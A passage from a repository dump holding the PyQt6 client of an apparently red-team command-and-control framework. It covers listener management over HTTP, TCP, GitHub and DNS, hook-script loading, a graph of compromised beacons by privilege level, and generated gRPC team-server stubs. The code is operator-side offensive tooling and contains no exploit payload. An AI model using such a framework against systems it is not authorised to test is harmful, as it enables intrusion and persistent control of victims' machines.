showContextMenu(self, position): 117 | index = self.listListener.indexAt(position) 118 | if not index.isValid(): 119 | menu = QMenu() 120 | menu.addAction('Add') 121 | menu.triggered.connect(self.actionClicked) 122 | menu.exec(self.listListener.viewport().mapToGlobal(position)) 123 | else: 124 | row = index.row() 125 | self.item = str(self.listListener.item(row, 0).data(0)) 126 | 127 | menu = QMenu() 128 | menu.addAction('Stop') 129 | menu.triggered.connect(self.actionClicked) 130 | menu.exec(self.listListener.viewport().mapToGlobal(position)) 131 | 132 | 133 | # catch stopListener menu click 134 | def actionClicked(self, action): 135 | if action.text() == "Add": 136 | self.listenerForm() 137 | elif action.text() == "Stop": 138 | hash = self.item 139 | for listenerStore in self.listListenerObject: 140 | if listenerStore.listenerHash[0:8] == hash: 141 | self.stopListener(listenerStore.listenerHash) 142 | 143 | 144 | # form for adding a listener 145 | def listenerForm(self): 146 | if self.createListenerWindow is None: 147 | self.createListenerWindow = CreateListner() 148 | self.createListenerWindow.procDone.connect(self.addListener) 149 | self.createListenerWindow.show() 150 | 151 | 152 | # send message for adding a listener 153 | def addListener(self, message): 154 | if message[0]=="github": 155 | listener = TeamServerApi_pb2.Listener( 156 | type=message[0], 157 | project=message[1], 158 | token=message[2]) 159 | elif message[0]=="dns": 160 | listener = TeamServerApi_pb2.Listener( 161 | type=message[0], 162 | domain=message[1], 163 | port=int(message[2])) 164 | else: 165 | listener = TeamServerApi_pb2.Listener( 166 | type=message[0], 167 | ip=message[1], 168 | port=int(message[2])) 169 | self.grpcClient.addListener(listener) 170 | 171 | 172 | # send message for stoping a listener 173 | def stopListener(self, listenerHash): 174 | listener = TeamServerApi_pb2.Listener( 175 | listenerHash=listenerHash) 176 | self.grpcClient.stopListener(listener) 177 | 178 | 179 | # query the server to get the list of listeners 180 | def getListeners(self): 181 | responses = self.grpcClient.getListeners() 182 | 183 | listeners = list() 184 | for response in responses: 185 | listeners.append(response) 186 | 187 | # delete listener 188 | for ix, listenerStore in enumerate(self.listListenerObject): 189 | runing=False 190 | for listener in listeners: 191 | if listener.listenerHash == listenerStore.listenerHash: 192 | runing=True 193 | # delete 194 | if not runing: 195 | del self.listListenerObject[ix] 196 | 197 | for listener in listeners: 198 | inStore=False 199 | # if listener is already on our list 200 | for ix, listenerStore in enumerate(self.listListenerObject): 201 | # maj 202 | if listener.listenerHash == listenerStore.listenerHash: 203 | inStore=True 204 | listenerStore.nbSession=listener.numberOfSession 205 | # add 206 | # if listener is not yet already on our list 207 | if not inStore: 208 | 209 | self.listenerScriptSignal.emit("start", "", "", "") 210 | 211 | if listener.type == GithubType: 212 | self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.project, listener.token[0:10], listener.numberOfSession)) 213 | elif listener.type == DnsType: 214 | self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.domain, listener.port, listener.numberOfSession)) 215 | elif listener.type == SmbType: 216 | self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.ip, listener.domain, listener.numberOfSession)) 217 | else: 218 | self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.ip, listener.port, listener.numberOfSession)) 219 | self.idListener = self.idListener+1 220 | 221 | self.printListeners() 222 | 223 | 224 | def printListeners(self): 225 | self.listListener.setRowCount(len(self.listListenerObject)) 226 | self.listListener.setHorizontalHeaderLabels(["Listener ID", "Type", "Host", "Port"]) 227 | for ix, listenerStore in enumerate(self.listListenerObject): 228 | 229 | listenerHash = QTableWidgetItem(listenerStore.listenerHash[0:8]) 230 | self.listListener.setItem(ix, 0, listenerHash) 231 | 232 | type = QTableWidgetItem(listenerStore.type) 233 | self.listListener.setItem(ix, 1, type) 234 | 235 | host = QTableWidgetItem(listenerStore.host) 236 | self.listListener.setItem(ix, 2, host) 237 | 238 | port = QTableWidgetItem(str(listenerStore.port)) 239 | self.listListener.setItem(ix, 3, port) 240 | 241 | 242 | class CreateListner(QWidget): 243 | 244 | procDone = pyqtSignal(list) 245 | 246 | def __init__(self): 247 | super().__init__() 248 | 249 | layout = QFormLayout() 250 | self.labelType = QLabel(TypeLabel) 251 | self.qcombo = QComboBox(self) 252 | self.qcombo.addItems([HttpType , HttpsType, TcpType, GithubType, DnsType]) 253 | self.qcombo.setCurrentIndex(1) 254 | self.qcombo.currentTextChanged.connect(self.changeLabels) 255 | self.type = self.qcombo 256 | layout.addRow(self.labelType, self.type) 257 | 258 | self.labelIP = QLabel(IpLabel) 259 | self.param1 = QLineEdit() 260 | self.param1.setText("0.0.0.0") 261 | layout.addRow(self.labelIP, self.param1) 262 | 263 | self.labelPort = QLabel(PortLabel) 264 | self.param2 = QLineEdit() 265 | self.param2.setText("8443") 266 | layout.addRow(self.labelPort, self.param2) 267 | 268 | self.buttonOk = QPushButton('&OK', clicked=self.checkAndSend) 269 | layout.addRow(self.buttonOk) 270 | 271 | self.setLayout(layout) 272 | self.setWindowTitle(AddListenerWindowTitle) 273 | 274 | 275 | def changeLabels(self): 276 | if self.qcombo.currentText() == HttpType: 277 | self.labelIP.setText(IpLabel) 278 | self.labelPort.setText(PortLabel) 279 | elif self.qcombo.currentText() == HttpsType: 280 | self.labelIP.setText(IpLabel) 281 | self.labelPort.setText(PortLabel) 282 | elif self.qcombo.currentText() == TcpType: 283 | self.labelIP.setText(IpLabel) 284 | self.labelPort.setText(PortLabel) 285 | elif self.qcombo.currentText() == GithubType: 286 | self.labelIP.setText(ProjectLabel) 287 | self.labelPort.setText(TokenLabel) 288 | elif self.qcombo.currentText() == DnsType: 289 | self.labelIP.setText(DomainLabel) 290 | self.labelPort.setText(PortLabel) 291 | 292 | 293 | def checkAndSend(self): 294 | type = self.type.currentText() 295 | param1 = self.param1.text() 296 | param2 = self.param2.text() 297 | 298 | result = [type, param1, param2] 299 | 300 | self.procDone.emit(result) 301 | self.close() 302 | 303 | 304 | class GetListenerWorker(QObject): 305 | checkin = pyqtSignal() 306 | 307 | def __init__(self, parent=None): 308 | super().__init__(parent) 309 | self.exit = False 310 | 311 | def __del__(self): 312 | self.exit=True 313 | 314 | def run(self): 315 | try: 316 | while self.exit==False: 317 | if self.receivers(self.checkin) > 0: 318 | self.checkin.emit() 319 | time.sleep(2) 320 | except Exception as e: 321 | pass 322 | 323 | def quit(self): 324 | self.exit=True 325 | -------------------------------------------------------------------------------- /C2Client/C2Client/ScriptPanel.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import logging 4 | import importlib 5 | from pathlib import Path 6 | from datetime import datetime 7 | 8 | from threading import Thread, Lock, Semaphore 9 | 10 | from PyQt6.QtCore import Qt, QEvent, QTimer, pyqtSignal 11 | from PyQt6.QtGui import QFont, QTextCursor, QStandardItem, QStandardItemModel, QShortcut 12 | from PyQt6.QtWidgets import ( 13 | QCompleter, 14 | QLineEdit, 15 | QPlainTextEdit, 16 | QVBoxLayout, 17 | QWidget, 18 | ) 19 | 20 | 21 | # 22 | # scripts 23 | # 24 | try: 25 | import pkg_resources 26 | scriptsDir = pkg_resources.resource_filename('C2Client', 'Scripts') 27 | except ImportError: 28 | # Fallback: relative to this file (…/C2Client/Scripts) 29 | scriptsDir = os.path.join(os.path.dirname(__file__), 'Scripts') 30 | 31 | scripts_path = Path(scriptsDir).resolve() 32 | scripts_path.mkdir(parents=True, exist_ok=True) 33 | 34 | # Ensure it's a real package 35 | (scripts_path / "__init__.py").touch(exist_ok=True) 36 | 37 | # Ensure the project root (parent of C2Client) is on sys.path so 38 | # `C2Client.Scripts` is importable as a package 39 | # e.g. /path/to/project_root/C2Client/Scripts 40 | project_root = scripts_path.parent.parent # .../project_root 41 | if str(project_root) not in sys.path: 42 | sys.path.insert(0, str(project_root)) 43 | 44 | package_name = "C2Client.Scripts" 45 | 46 | # ---------------------------- 47 | # Load all scripts as modules 48 | # ---------------------------- 49 | LoadedScripts = [] 50 | for entry in scripts_path.iterdir(): 51 | if entry.suffix == ".py" and entry.name != "__init__.py": 52 | modname = f"{package_name}.{entry.stem}" 53 | try: 54 | m = importlib.import_module(modname) 55 | LoadedScripts.append(m) 56 | print(f"Successfully imported {modname}") 57 | except Exception as e: 58 | print(f"Failed to import {modname}: {e}") 59 | traceback.print_exc() 60 | 61 | 62 | # 63 | # Script tab implementation 64 | # 65 | class Script(QWidget): 66 | tabPressed = pyqtSignal() 67 | logFileName="" 68 | sem = Semaphore() 69 | 70 | def __init__(self, parent, grpcClient): 71 | super(QWidget, self).__init__(parent) 72 | self.layout = QVBoxLayout(self) 73 | self.layout.setContentsMargins(0, 0, 0, 0) 74 | 75 | self.grpcClient = grpcClient 76 | 77 | # self.logFileName=LogFileName 78 | 79 | self.editorOutput = QPlainTextEdit() 80 | self.editorOutput.setFont(QFont("JetBrainsMono Nerd Font")) 81 | self.editorOutput.setReadOnly(True) 82 | self.layout.addWidget(self.editorOutput, 8) 83 | 84 | self.commandEditor = CommandEditor() 85 | self.layout.addWidget(self.commandEditor, 2) 86 | self.commandEditor.returnPressed.connect(self.runCommand) 87 | 88 | output = "" 89 | for script in LoadedScripts: 90 | output += script.__name__ + "\n" 91 | self.printInTerminal("Loaded Scripts:", output) 92 | 93 | 94 | def nextCompletion(self): 95 | index = self._compl.currentIndex() 96 | self._compl.popup().setCurrentIndex(index) 97 | start = self._compl.currentRow() 98 | if not self._compl.setCurrentRow(start + 1): 99 | self._compl.setCurrentRow(0) 100 | 101 | 102 | def sessionScriptMethod(self, action, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): 103 | for script in LoadedScripts: 104 | scriptName = script.__name__ 105 | try: 106 | if action == "start": 107 | methode = getattr(script, "OnSessionStart") 108 | output = methode(self.grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed) 109 | if output: 110 | self.printInTerminal("OnSessionStart", output) 111 | elif action == "stop": 112 | methode = getattr(script, "OnSessionStop") 113 | output = methode(self.grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed) 114 | if output: 115 | self.printInTerminal("OnSessionStop", output) 116 | elif action == "update": 117 | methode = getattr(script, "OnSessionUpdate") 118 | output = methode(self.grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed) 119 | if output: 120 | self.printInTerminal("OnSessionUpdate", output) 121 | except: 122 | continue 123 | 124 | 125 | def listenerScriptMethod(self, action, hash, str3, str4): 126 | for script in LoadedScripts: 127 | scriptName = script.__name__ 128 | try: 129 | if action == "start": 130 | methode = getattr(script, "OnListenerStart") 131 | output = methode(self.grpcClient) 132 | if output: 133 | self.printInTerminal("OnListenerStart", output) 134 | elif action == "stop": 135 | methode = getattr(script, "OnListenerStop") 136 | output = methode(self.grpcClient) 137 | if output: 138 | self.printInTerminal("OnListenerStop", output) 139 | except: 140 | continue 141 | 142 | 143 | def consoleScriptMethod(self, action, beaconHash, listenerHash, context, cmd, result): 144 | for script in LoadedScripts: 145 | scriptName = script.__name__ 146 | try: 147 | if action == "receive": 148 | methode = getattr(script, "OnConsoleReceive") 149 | output = methode(self.grpcClient) 150 | if output: 151 | self.printInTerminal("OnConsoleReceive", output) 152 | elif action == "send": 153 | methode = getattr(script, "OnConsoleSend") 154 | output = methode(self.grpcClient) 155 | if output: 156 | self.printInTerminal("OnConsoleSend", output) 157 | except: 158 | continue 159 | 160 | def mainScriptMethod(self, action, str2, str3, str4): 161 | for script in LoadedScripts: 162 | scriptName = script.__name__ 163 | try: 164 | if action == "start": 165 | methode = getattr(script, "OnStart") 166 | output = methode(self.grpcClient) 167 | if output: 168 | self.printInTerminal("OnStart", output) 169 | elif action == "stop": 170 | methode = getattr(script, "OnStop") 171 | output = methode(self.grpcClient) 172 | if output: 173 | self.printInTerminal("OnStop", output) 174 | except: 175 | continue 176 | 177 | 178 | def event(self, event): 179 | if event.type() == QEvent.Type.KeyPress and event.key() == Qt.Key.Key_Tab: 180 | self.tabPressed.emit() 181 | return True 182 | return super().event(event) 183 | 184 | 185 | def printInTerminal(self, cmd, result): 186 | now = datetime.now() 187 | formater = '

'+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']'+' [+] '+'{}'+'

' 188 | 189 | self.sem.acquire() 190 | if cmd: 191 | self.editorOutput.appendHtml(formater.format(cmd)) 192 | self.editorOutput.insertPlainText("\n") 193 | if result: 194 | self.editorOutput.insertPlainText(result) 195 | self.editorOutput.insertPlainText("\n") 196 | self.sem.release() 197 | 198 | 199 | def runCommand(self): 200 | commandLine = self.commandEditor.displayText() 201 | self.commandEditor.clearLine() 202 | self.setCursorEditorAtEnd() 203 | 204 | if commandLine == "": 205 | self.printInTerminal("", "") 206 | 207 | else: 208 | toto=1 209 | 210 | 211 | self.setCursorEditorAtEnd() 212 | 213 | 214 | # setCursorEditorAtEnd 215 | def setCursorEditorAtEnd(self): 216 | cursor = self.editorOutput.textCursor() 217 | cursor.movePosition(QTextCursor.MoveOperation.End) 218 | self.editorOutput.setTextCursor(cursor) 219 | 220 | 221 | class CommandEditor(QLineEdit): 222 | tabPressed = pyqtSignal() 223 | cmdHistory = [] 224 | idx = 0 225 | 226 | def __init__(self, parent=None): 227 | super().__init__(parent) 228 | 229 | QShortcut(Qt.Key.Key_Up, self, self.historyUp) 230 | QShortcut(Qt.Key.Key_Down, self, self.historyDown) 231 | 232 | # self.codeCompleter = CodeCompleter(completerData, self) 233 | # # needed to clear the completer after activation 234 | # self.codeCompleter.activated.connect(self.onActivated) 235 | # self.setCompleter(self.codeCompleter) 236 | # self.tabPressed.connect(self.nextCompletion) 237 | 238 | def nextCompletion(self): 239 | index = self.codeCompleter.currentIndex() 240 | self.codeCompleter.popup().setCurrentIndex(index) 241 | start = self.codeCompleter.currentRow() 242 | if not self.codeCompleter.setCurrentRow(start + 1): 243 | self.codeCompleter.setCurrentRow(0) 244 | 245 | def event(self, event): 246 | if event.type() == QEvent.Type.KeyPress and event.key() == Qt.Key.Key_Tab: 247 | self.tabPressed.emit() 248 | return True 249 | return super().event(event) 250 | 251 | def historyUp(self): 252 | if(self.idx=0): 253 | cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] 254 | self.idx=max(self.idx-1,0) 255 | self.setText(cmd.strip()) 256 | 257 | def historyDown(self): 258 | if(self.idx=0): 259 | self.idx=min(self.idx+1,len(self.cmdHistory)-1) 260 | cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] 261 | self.setText(cmd.strip()) 262 | 263 | def setCmdHistory(self): 264 | cmdHistoryFile = open('.termHistory') 265 | self.cmdHistory = cmdHistoryFile.readlines() 266 | self.idx=len(self.cmdHistory)-1 267 | cmdHistoryFile.close() 268 | 269 | def clearLine(self): 270 | self.clear() 271 | 272 | def onActivated(self): 273 | QTimer.singleShot(0, self.clear) 274 | 275 | 276 | class CodeCompleter(QCompleter): 277 | ConcatenationRole = Qt.ItemDataRole.UserRole + 1 278 | 279 | def __init__(self, data, parent=None): 280 | super().__init__(parent) 281 | self.createModel(data) 282 | 283 | def splitPath(self, path): 284 | return path.split(' ') 285 | 286 | def pathFromIndex(self, ix): 287 | return ix.data(CodeCompleter.ConcatenationRole) 288 | 289 | def createModel(self, data): 290 | def addItems(parent, elements, t=""): 291 | for text, children in elements: 292 | item = QStandardItem(text) 293 | data = t + " " + text if t else text 294 | item.setData(data, CodeCompleter.ConcatenationRole) 295 | parent.appendRow(item) 296 | if children: 297 | addItems(item, children, data) 298 | model = QStandardItemModel(self) 299 | addItems(model, data) 300 | self.setModel(model) 301 | -------------------------------------------------------------------------------- /C2Client/C2Client/GraphPanel.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import time 4 | from threading import Thread, Lock 5 | 6 | from PyQt6.QtCore import QObject, Qt, QThread, QLineF, pyqtSignal 7 | from PyQt6.QtGui import QColor, QFont, QPainter, QPen, QPixmap 8 | from PyQt6.QtWidgets import ( 9 | QGraphicsLineItem, 10 | QGraphicsPixmapItem, 11 | QGraphicsScene, 12 | QGraphicsView, 13 | QVBoxLayout, 14 | QWidget, 15 | QGraphicsItem, 16 | ) 17 | 18 | 19 | # 20 | # Constant 21 | # 22 | BeaconNodeItemType = "Beacon" 23 | ListenerNodeItemType = "Listener" 24 | 25 | try: 26 | import pkg_resources 27 | PrimaryListenerImage = pkg_resources.resource_filename( 28 | 'C2Client', 29 | 'images/firewall.svg' 30 | ) 31 | WindowsSessionImage = pkg_resources.resource_filename( 32 | 'C2Client', 33 | 'images/pc.svg' 34 | ) 35 | WindowsHighPrivSessionImage = pkg_resources.resource_filename( 36 | 'C2Client', 37 | 'images/windowshighpriv.svg' 38 | ) 39 | LinuxSessionImage = pkg_resources.resource_filename( 40 | 'C2Client', 41 | 'images/linux.svg' 42 | ) 43 | LinuxRootSessionImage = pkg_resources.resource_filename( 44 | 'C2Client', 45 | 'images/linuxhighpriv.svg' 46 | ) 47 | except ImportError: 48 | PrimaryListenerImage = os.path.join(os.path.dirname(__file__), 'images/firewall.svg') 49 | WindowsSessionImage = os.path.join(os.path.dirname(__file__), 'images/pc.svg') 50 | WindowsHighPrivSessionImage = os.path.join(os.path.dirname(__file__), 'images/windowshighpriv.svg') 51 | LinuxSessionImage = os.path.join(os.path.dirname(__file__), 'images/linux.svg') 52 | LinuxRootSessionImage = os.path.join(os.path.dirname(__file__), 'images/linuxhighpriv.svg') 53 | 54 | 55 | # 56 | # Graph Tab Implementation 57 | # 58 | # needed to send the message of mouseMoveEvent because QGraphicsPixmapItem doesn't herit from QObject 59 | class Signaller(QObject): 60 | signal = pyqtSignal() 61 | 62 | def trigger(self): 63 | self.signal.emit() 64 | 65 | 66 | class NodeItem(QGraphicsPixmapItem): 67 | # Signal to notify position changes 68 | signaller = Signaller() 69 | 70 | def __init__(self, type, hash, os="", privilege="", hostname="", parent=None): 71 | if type == ListenerNodeItemType: 72 | self.type = ListenerNodeItemType 73 | pixmap = self.addImageNode(PrimaryListenerImage, "") 74 | self.beaconHash = "" 75 | self.connectedListenerHash = "" 76 | self.listenerHash = [] 77 | self.listenerHash.append(hash) 78 | elif type == BeaconNodeItemType: 79 | self.type = BeaconNodeItemType 80 | # print("NodeItem beaconHash", hash, "os", os, "privilege", privilege) 81 | if "linux" in os.lower(): 82 | if privilege == "root": 83 | pixmap = self.addImageNode(LinuxRootSessionImage, hostname) 84 | else: 85 | pixmap = self.addImageNode(LinuxSessionImage, hostname) 86 | elif "windows" in os.lower(): 87 | if privilege == "HIGH": 88 | pixmap = self.addImageNode(WindowsHighPrivSessionImage, hostname) 89 | else: 90 | pixmap = self.addImageNode(WindowsSessionImage, hostname) 91 | else: 92 | pixmap = QPixmap(LinuxSessionImage).scaled(64, 64, Qt.AspectRatioMode.KeepAspectRatio, Qt.TransformationMode.SmoothTransformation) 93 | self.beaconHash=hash 94 | self.hostname = hostname 95 | self.connectedListenerHash = "" 96 | self.listenerHash=[] 97 | 98 | super().__init__(pixmap) 99 | 100 | def print(self): 101 | print("NodeItem", self.type, "beaconHash", self.beaconHash, "listenerHash", self.listenerHash, "connectedListenerHash", self.connectedListenerHash) 102 | 103 | def isResponsableForListener(self, hash): 104 | if hash in self.listenerHash: 105 | return True 106 | else: 107 | return False 108 | 109 | def mouseMoveEvent(self, event): 110 | super().mouseMoveEvent(event) 111 | self.signaller.trigger() 112 | 113 | def mousePressEvent(self, event): 114 | super().mousePressEvent(event) 115 | self.setCursor(Qt.CursorShape.ClosedHandCursor) 116 | 117 | def mouseReleaseEvent(self, event): 118 | super().mouseReleaseEvent(event) 119 | self.setCursor(Qt.CursorShape.ArrowCursor) 120 | 121 | def addImageNode(self, image_path, legend_text, font_size=9, padding=5, text_color=Qt.GlobalColor.white): 122 | # Load and scale the image 123 | pixmap = QPixmap(image_path).scaled(64, 64, Qt.AspectRatioMode.KeepAspectRatio, Qt.TransformationMode.SmoothTransformation) 124 | 125 | # Create a new QPixmap larger than the original for the image and text 126 | legend_height = font_size + padding * 2 127 | legend_width = len(legend_text) * font_size + padding * 2 128 | combined_pixmap = QPixmap(max(legend_width, pixmap.width()), pixmap.height() + legend_height) 129 | combined_pixmap.fill(Qt.GlobalColor.transparent) # Transparent background 130 | 131 | # Paint the image and the legend onto the combined pixmap 132 | painter = QPainter(combined_pixmap) 133 | image_x = (combined_pixmap.width() - pixmap.width()) // 2 134 | painter.drawPixmap(image_x, 0, pixmap) # Draw the image 135 | 136 | pen = QPen() 137 | pen.setColor(text_color) # Set the desired text color 138 | painter.setPen(pen) 139 | # Set font for the legend 140 | font = QFont() 141 | font.setPointSize(font_size) 142 | painter.setFont(font) 143 | 144 | # Draw the legend text centered below the image 145 | text_rect = painter.boundingRect( 146 | 0, pixmap.height(), combined_pixmap.width(), legend_height, Qt.AlignmentFlag.AlignCenter, legend_text 147 | ) 148 | painter.drawText(text_rect, Qt.AlignmentFlag.AlignCenter, legend_text) 149 | 150 | painter.end() 151 | return combined_pixmap 152 | 153 | 154 | class Connector(QGraphicsLineItem): 155 | 156 | def __init__(self, listener, beacon, pen=None): 157 | super().__init__() 158 | self.listener = listener 159 | self.beacon = beacon 160 | 161 | self.pen = pen or QPen(QColor("white"), 3) 162 | self.setPen(self.pen) 163 | self.update_line() 164 | 165 | def print(self): 166 | print("Connector", "beaconHash", self.beacon.beaconHash, "connectedListenerHash", self.beacon.connectedListenerHash, "listenerHash", self.listener.listenerHash) 167 | 168 | def update_line(self): 169 | # print("listener", self.listener.pos()) 170 | # print("beacon", self.beacon.pos()) 171 | center1 = self.listener.pos() + self.listener.boundingRect().center() 172 | center2 = self.beacon.pos() + self.beacon.boundingRect().center() 173 | self.setLine(QLineF(center1, center2)) 174 | 175 | 176 | class Graph(QWidget): 177 | listNodeItem = [] 178 | listNodeItem = [] 179 | listConnector = [] 180 | 181 | def __init__(self, parent, grpcClient): 182 | super(QWidget, self).__init__(parent) 183 | 184 | width = self.frameGeometry().width() 185 | height = self.frameGeometry().height() 186 | 187 | self.grpcClient = grpcClient 188 | 189 | self.scene = QGraphicsScene() 190 | 191 | self.view = QGraphicsView(self.scene) 192 | self.view.setRenderHint(QPainter.RenderHint.Antialiasing) 193 | 194 | self.vbox = QVBoxLayout() 195 | self.vbox.setContentsMargins(0, 0, 0, 0) 196 | self.vbox.addWidget(self.view) 197 | 198 | self.setLayout(self.vbox) 199 | 200 | self.thread = QThread() 201 | self.getGraphInfoWorker = GetGraphInfoWorker() 202 | self.getGraphInfoWorker.moveToThread(self.thread) 203 | self.thread.started.connect(self.getGraphInfoWorker.run) 204 | self.getGraphInfoWorker.checkin.connect(self.updateGraph) 205 | self.thread.start() 206 | 207 | # self.updateScene() 208 | 209 | 210 | def __del__(self): 211 | self.getGraphInfoWorker.quit() 212 | self.thread.quit() 213 | self.thread.wait() 214 | 215 | 216 | def updateConnectors(self): 217 | for connector in self.listConnector: 218 | connector.update_line() 219 | 220 | 221 | # Update the graphe every X sec with information from the team server 222 | def updateGraph(self): 223 | 224 | # 225 | # Update beacons 226 | # 227 | responses = self.grpcClient.getSessions() 228 | sessions = list() 229 | for response in responses: 230 | sessions.append(response) 231 | 232 | # delete beacon 233 | for ix, nodeItem in enumerate(self.listNodeItem): 234 | runing=False 235 | for session in sessions: 236 | if session.beaconHash == nodeItem.beaconHash: 237 | runing=True 238 | if not runing and self.listNodeItem[ix].type == BeaconNodeItemType: 239 | for ix2, connector in enumerate(self.listConnector): 240 | if connector.beacon.beaconHash == nodeItem.beaconHash: 241 | print("[-] delete connector") 242 | self.scene.removeItem(self.listConnector[ix2]) 243 | del self.listConnector[ix2] 244 | print("[-] delete beacon", nodeItem.beaconHash) 245 | self.scene.removeItem(self.listNodeItem[ix]) 246 | del self.listNodeItem[ix] 247 | 248 | # add beacon 249 | for session in sessions: 250 | inStore=False 251 | for ix, nodeItem in enumerate(self.listNodeItem): 252 | if session.beaconHash == nodeItem.beaconHash: 253 | inStore=True 254 | if not inStore: 255 | item = NodeItem(BeaconNodeItemType, session.beaconHash, session.os, session.privilege, session.hostname) 256 | item.connectedListenerHash = session.listenerHash 257 | item.signaller.signal.connect(self.updateConnectors) 258 | self.scene.addItem(item) 259 | self.listNodeItem.append(item) 260 | print("[+] add beacon", session.beaconHash) 261 | 262 | # 263 | # Update listener 264 | # 265 | responses= self.grpcClient.getListeners() 266 | listeners = list() 267 | for listener in responses: 268 | listeners.append(listener) 269 | 270 | # delete listener 271 | for ix, nodeItem in enumerate(self.listNodeItem): 272 | runing=False 273 | for listener in listeners: 274 | if nodeItem.isResponsableForListener(listener.listenerHash): 275 | runing=True 276 | if not runing: 277 | # primary listener 278 | if self.listNodeItem[ix].type == ListenerNodeItemType: 279 | for ix2, connector in enumerate(self.listConnector): 280 | if self.listNodeItem[ix2].listenerHash in connector.listener.listenerHash: 281 | print("[-] delete connector") 282 | self.scene.removeItem(self.listConnector[ix2]) 283 | del self.listConnector[ix2] 284 | print("[-] delete primary listener", nodeItem.listenerHash) 285 | self.scene.removeItem(self.listNodeItem[ix]) 286 | del self.listNodeItem[ix] 287 | 288 | # beacon listener 289 | elif self.listNodeItem[ix].type == BeaconNodeItemType: 290 | if listener.listenerHash in self.listNodeItem[ix].listenerHash: 291 | for ix2, connector in enumerate(self.listConnector): 292 | if self.listNodeItem[ix2].listenerHash in connector.listener.listenerHash: 293 | print("[-] delete connector") 294 | self.scene.removeItem(self.listConnector[ix2]) 295 | del self.listConnector[ix2] 296 | print("[-] delete secondary listener", nodeItem.listenerHash) 297 | self.listNodeItem[ix].listenerHash.remove(listener.listenerHash) 298 | 299 | # add listener 300 | for listener in listeners: 301 | inStore=False 302 | for ix, nodeItem in enumerate(self.listNodeItem): 303 | if nodeItem.isResponsableForListener(listener.listenerHash): 304 | inStore=True 305 | if not inStore: 306 | if not listener.beaconHash: 307 | item = NodeItem(ListenerNodeItemType, listener.listenerHash) 308 | item.signaller.signal.connect(self.updateConnectors) 309 | self.scene.addItem(item) 310 | self.listNodeItem.append(item) 311 | print("[+] add primary listener", listener.listenerHash) 312 | else: 313 | for nodeItem2 in self.listNodeItem: 314 | if nodeItem2.beaconHash == listener.beaconHash: 315 | nodeItem2.listenerHash.append(listener.listenerHash) 316 | print("[+] add secondary listener", listener.listenerHash) 317 | 318 | # 319 | # Update connectors 320 | # 321 | for nodeItem in self.listNodeItem: 322 | if nodeItem.type == BeaconNodeItemType: 323 | inStore=False 324 | beaconHash = nodeItem.beaconHash 325 | listenerHash = nodeItem.connectedListenerHash 326 | for connector in self.listConnector: 327 | if connector.listener.isResponsableForListener(listenerHash) and connector.beacon.beaconHash == beaconHash: 328 | inStore=True 329 | if not inStore: 330 | for listener in self.listNodeItem: 331 | if listener.isResponsableForListener(listenerHash)==True: 332 | connector = Connector(listener, nodeItem) 333 | self.scene.addItem(connector) 334 | connector.setZValue(-1) 335 | self.listConnector.append(connector) 336 | print("[+] add connector listener:", listenerHash, "beacon", beaconHash) 337 | 338 | for item in self.listNodeItem: 339 | item.setFlag(QGraphicsItem.GraphicsItemFlag.ItemIsMovable) 340 | item.setFlag(QGraphicsItem.GraphicsItemFlag.ItemIsSelectable) 341 | 342 | 343 | class GetGraphInfoWorker(QObject): 344 | checkin = pyqtSignal() 345 | 346 | def __init__(self, parent=None): 347 | super().__init__(parent) 348 | self.exit = False 349 | 350 | def __del__(self): 351 | self.exit=True 352 | 353 | def run(self): 354 | try: 355 | while self.exit==False: 356 | if self.receivers(self.checkin) > 0: 357 | self.checkin.emit() 358 | time.sleep(2) 359 | except Exception as e: 360 | pass 361 | 362 | def quit(self): 363 | self.exit=True 364 | 365 | -------------------------------------------------------------------------------- /C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2_grpc.py: -------------------------------------------------------------------------------- 1 | # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! 2 | """Client and server classes corresponding to protobuf-defined services.""" 3 | import grpc 4 | 5 | import TeamServerApi_pb2 as TeamServerApi__pb2 6 | 7 | 8 | class TeamServerApiStub(object): 9 | """Interface exported by the server. 10 | """ 11 | 12 | def __init__(self, channel): 13 | """Constructor. 14 | 15 | Args: 16 | channel: A grpc.Channel. 17 | """ 18 | self.Authenticate = channel.unary_unary( 19 | '/teamserverapi.TeamServerApi/Authenticate', 20 | request_serializer=TeamServerApi__pb2.AuthRequest.SerializeToString, 21 | response_deserializer=TeamServerApi__pb2.AuthResponse.FromString, 22 | _registered_method=True) 23 | self.GetListeners = channel.unary_stream( 24 | '/teamserverapi.TeamServerApi/GetListeners', 25 | request_serializer=TeamServerApi__pb2.Empty.SerializeToString, 26 | response_deserializer=TeamServerApi__pb2.Listener.FromString, 27 | _registered_method=True) 28 | self.AddListener = channel.unary_unary( 29 | '/teamserverapi.TeamServerApi/AddListener', 30 | request_serializer=TeamServerApi__pb2.Listener.SerializeToString, 31 | response_deserializer=TeamServerApi__pb2.Response.FromString, 32 | _registered_method=True) 33 | self.StopListener = channel.unary_unary( 34 | '/teamserverapi.TeamServerApi/StopListener', 35 | request_serializer=TeamServerApi__pb2.Listener.SerializeToString, 36 | response_deserializer=TeamServerApi__pb2.Response.FromString, 37 | _registered_method=True) 38 | self.GetSessions = channel.unary_stream( 39 | '/teamserverapi.TeamServerApi/GetSessions', 40 | request_serializer=TeamServerApi__pb2.Empty.SerializeToString, 41 | response_deserializer=TeamServerApi__pb2.Session.FromString, 42 | _registered_method=True) 43 | self.StopSession = channel.unary_unary( 44 | '/teamserverapi.TeamServerApi/StopSession', 45 | request_serializer=TeamServerApi__pb2.Session.SerializeToString, 46 | response_deserializer=TeamServerApi__pb2.Response.FromString, 47 | _registered_method=True) 48 | self.GetHelp = channel.unary_unary( 49 | '/teamserverapi.TeamServerApi/GetHelp', 50 | request_serializer=TeamServerApi__pb2.Command.SerializeToString, 51 | 